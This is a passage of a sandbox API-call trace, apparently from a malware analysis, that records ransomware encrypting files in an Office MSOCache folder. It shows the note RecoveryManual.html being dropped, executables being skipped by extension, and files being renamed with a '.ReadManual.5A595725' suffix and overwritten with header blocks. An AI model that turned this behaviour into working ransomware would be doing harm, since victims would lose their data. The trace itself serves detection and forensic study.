lpSrch=".ReadManual.5A595725") returned 0x0 [0221.907] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0221.907] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0221.907] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0221.907] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0221.907] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0221.907] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\RecoveryManual.html" [0221.907] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0221.908] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0221.909] CloseHandle (hObject=0x190) returned 1 [0221.909] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0221.909] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml" [0221.909] lstrcmpiW (lpString1="Office32WW.xml", lpString2="RecoveryManual.html") returned -1 [0221.909] StrStrIW (lpFirst="Office32WW.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0221.909] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0221.909] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0221.909] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0221.910] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0221.910] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" [0221.910] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725" [0221.910] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725") returned 101 [0221.910] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=34257871530) returned 1 [0221.910] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0221.910] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0221.910] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=4274) returned 1 [0221.910] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10b2, lpName=0x0) returned 0x194 [0221.910] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0221.911] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.911] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0221.912] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0221.913] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10b2) returned 0x2f0000 [0221.913] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0221.913] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=34258156738) returned 1 [0221.913] CloseHandle (hObject=0x194) returned 1 [0221.913] SetSecurityInfo () returned 0x57 [0221.913] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0221.913] CloseHandle (hObject=0x190) returned 1 [0221.913] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0221.913] lstrcpyW (in: lpString1=0x6ab922, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe" [0221.913] lstrcmpiW (lpString1="ose.exe", lpString2="RecoveryManual.html") returned -1 [0221.913] StrStrIW (lpFirst="ose.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0221.913] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0221.913] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0221.913] lstrcpyW (in: lpString1=0x6ab922, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll" [0221.913] lstrcmpiW (lpString1="osetup.dll", lpString2="RecoveryManual.html") returned -1 [0221.913] StrStrIW (lpFirst="osetup.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0221.913] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0221.914] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0221.914] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0221.914] lstrcpyW (in: lpString1=0x6ab922, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab" [0221.914] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="RecoveryManual.html") returned -1 [0221.914] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0221.914] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0221.914] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0221.914] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0221.914] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" [0221.914] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725" [0221.914] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725") returned 99 [0221.914] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=34258294150) returned 1 [0221.914] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0221.915] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0221.915] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=36233052) returned 1 [0221.915] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x228df5c, lpName=0x0) returned 0x194 [0221.915] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0221.916] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.916] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0221.918] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0221.918] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x228df5c) returned 0x4350000 [0223.276] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0223.349] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=34401794350) returned 1 [0223.349] CloseHandle (hObject=0x194) returned 1 [0223.349] SetSecurityInfo () returned 0x57 [0223.349] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0223.349] CloseHandle (hObject=0x190) returned 1 [0223.350] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0223.350] lstrcpyW (in: lpString1=0x6ab922, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll" [0223.350] lstrcmpiW (lpString1="PidGenX.dll", lpString2="RecoveryManual.html") returned -1 [0223.350] StrStrIW (lpFirst="PidGenX.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0223.350] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0223.350] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0223.350] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0223.350] lstrcpyW (in: lpString1=0x6ab922, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0223.350] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="RecoveryManual.html") returned -1 [0223.350] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".ReadManual.5A595725") returned 0x0 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="exe") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="dll") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="sys") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="msi") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="mui") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="inf") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="cat") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="bat") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="cmd") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="ps1") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="vbs") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="ttf") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="fon") returned 1 [0223.350] StrCmpIW (psz1="xrm-ms", psz2="lnk") returned 1 [0223.350] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" [0223.350] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725" [0223.350] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725") returned 111 [0223.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=34401919504) returned 1 [0223.351] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0223.352] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0223.352] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=715834) returned 1 [0223.352] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaec3a, lpName=0x0) returned 0x194 [0223.352] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0223.352] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.353] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0223.354] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0223.355] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaec3a) returned 0x2690000 [0223.374] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0223.376] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=34404455482) returned 1 [0223.376] CloseHandle (hObject=0x194) returned 1 [0223.376] SetSecurityInfo () returned 0x57 [0223.376] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0223.376] CloseHandle (hObject=0x190) returned 1 [0223.376] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0223.376] lstrcpyW (in: lpString1=0x6ab922, lpString2="PrjProrWW.msi" | out: lpString1="PrjProrWW.msi") returned="PrjProrWW.msi" [0223.376] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="RecoveryManual.html") returned -1 [0223.376] StrStrIW (lpFirst="PrjProrWW.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0223.376] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0223.376] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0223.377] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0223.377] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0223.377] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0223.377] lstrcpyW (in: lpString1=0x6ab922, lpString2="PrjProrWW.xml" | out: lpString1="PrjProrWW.xml") returned="PrjProrWW.xml" [0223.377] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="RecoveryManual.html") returned -1 [0223.377] StrStrIW (lpFirst="PrjProrWW.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0223.377] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0223.377] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0223.377] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" [0223.377] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.ReadManual.5A595725" [0223.377] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.ReadManual.5A595725") returned 100 [0223.377] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=34404599458) returned 1 [0223.377] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0223.378] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0223.378] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=6421) returned 1 [0223.378] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1915, lpName=0x0) returned 0x194 [0223.378] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0223.379] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.379] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0223.381] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0223.381] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1915) returned 0x2f0000 [0223.381] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0223.381] QueryPerformanceCounter (in: 